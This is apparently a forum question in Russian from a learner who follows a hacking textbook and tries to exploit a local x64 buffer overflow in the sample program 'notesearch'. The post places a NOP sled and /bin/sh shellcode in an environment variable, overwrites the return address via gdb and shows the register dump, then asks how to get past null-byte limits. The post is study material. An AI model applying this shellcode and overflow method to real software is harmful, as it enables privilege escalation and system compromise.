Я пытался выполнить шелл-код на моем компьютере с помощью переменных среды.У меня это здесь:
[avaxio@parrot]─[~/Desktop/hax]
└──╼ $export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode.bin)
┌─[avaxio@parrot]─[~/Desktop/hax]
└──╼ $echo $SHELLCODE
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�1�1ə��̀j
XQh//shh/bin��Q��S��̀
Затем я нахожу, где это находится в моей целевой программе:
0x7fffae179437: "SHELLCODE=", '\220' <repeats 190 times>...
0x7fffae1794ff: "\220\220\220\220\220\220\220\220\220\220\061\300\061\333\061ə\260\244̀j\vXQh//shh/bin\211\343Q\211\342S\211\341̀"
0x7fffae17952d: "COLORTERM=truecolor"
После этого я пытаюсь вызвать переполнение буфера путем отправки его адрес на вход,Давайте посмотрим на результаты GDB, так как там программа не работает:
$sudo gdb -q ./notesearch
Reading symbols from ./notesearch...(no debugging symbols found)...done.
(gdb) run $(perl -e 'print "\x4f\x94\x17\xae\xff\x7f"'x20)
Starting program: /home/avaxio/Desktop/hax/notesearch $(perl -e 'print "\x4f\x94\x17\xae\xff\x7f"'x20)
[DEBUG] found a 2 byte note for user id 0
-------[ end of note data ]-------
Program received signal SIGSEGV, Segmentation fault.
0x0000564b323d4455 in main ()
Теперь, так как я получил ошибку сегментации, я хочу посмотреть, что происходит с моими регистрами, поэтому я смотрю:
(gdb) i reg
rax 0x0 0
rbx 0x0 0
rcx 0x7fd64a625ec4 140558347689668
rdx 0x7fd64a6f88c0 140558348552384
rsi 0x564b33d27260 94880991965792
rdi 0x3 3
rbp 0x7fffae17944f7fff 0x7fffae17944f7fff
rsp 0x7ffd7e9992a8 0x7ffd7e9992a8
r8 0x7fd64a6fd500 140558348571904
r9 0x5b2d2d2d2d2d2d2d 6569957103458135341
r10 0x0 0
r11 0x246 582
r12 0x564b323d4120 94880965411104
r13 0x7ffd7e999380 140726727447424
r14 0x0 0
r15 0x0 0
rip 0x564b323d4455 0x564b323d4455 <main+179>
eflags 0x10207 [ CF PF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
И если я смотрю на базовый указатель, я вижу, что rbp 0x 7fffae17944f 7fff 0x 7fffae17944f 7fff
Это означает, что скрипт работает правильно, норегистр имеет два дополнительных бита.И после того, как я спамил этот адрес 20 раз, получается, что первые два бита адреса переполняются два последних бита регистра , что, безусловно, вызывает ошибку сегментации, поскольку нетданные по 0x7fffae17944f7fff.
Я знаю, что адрес переменной SHELLCODE
равен 0x7fffae1794 37 , а не 0x7fffae1794 4f , и я просто хочу приблизиться к середине NOP,Я пытался отправить нулевые байты, но, как оказалось, bash запрещает отправлять их и просто игнорирует их.Итак, я хочу знать - возможно ли сделать такой тип атаки на архитектуру x64?Может быть, есть способ сделать переменную среды длиной 8 байтов вместо 6?Или, может быть, есть способ отправить нулевые байты в начале, чтобы я мог получить значение rbp что-то вроде 0x00007fffae17944f?Или, может быть, есть другие способы сделать это?Делаю это только для учебы, как я учусь по книге:)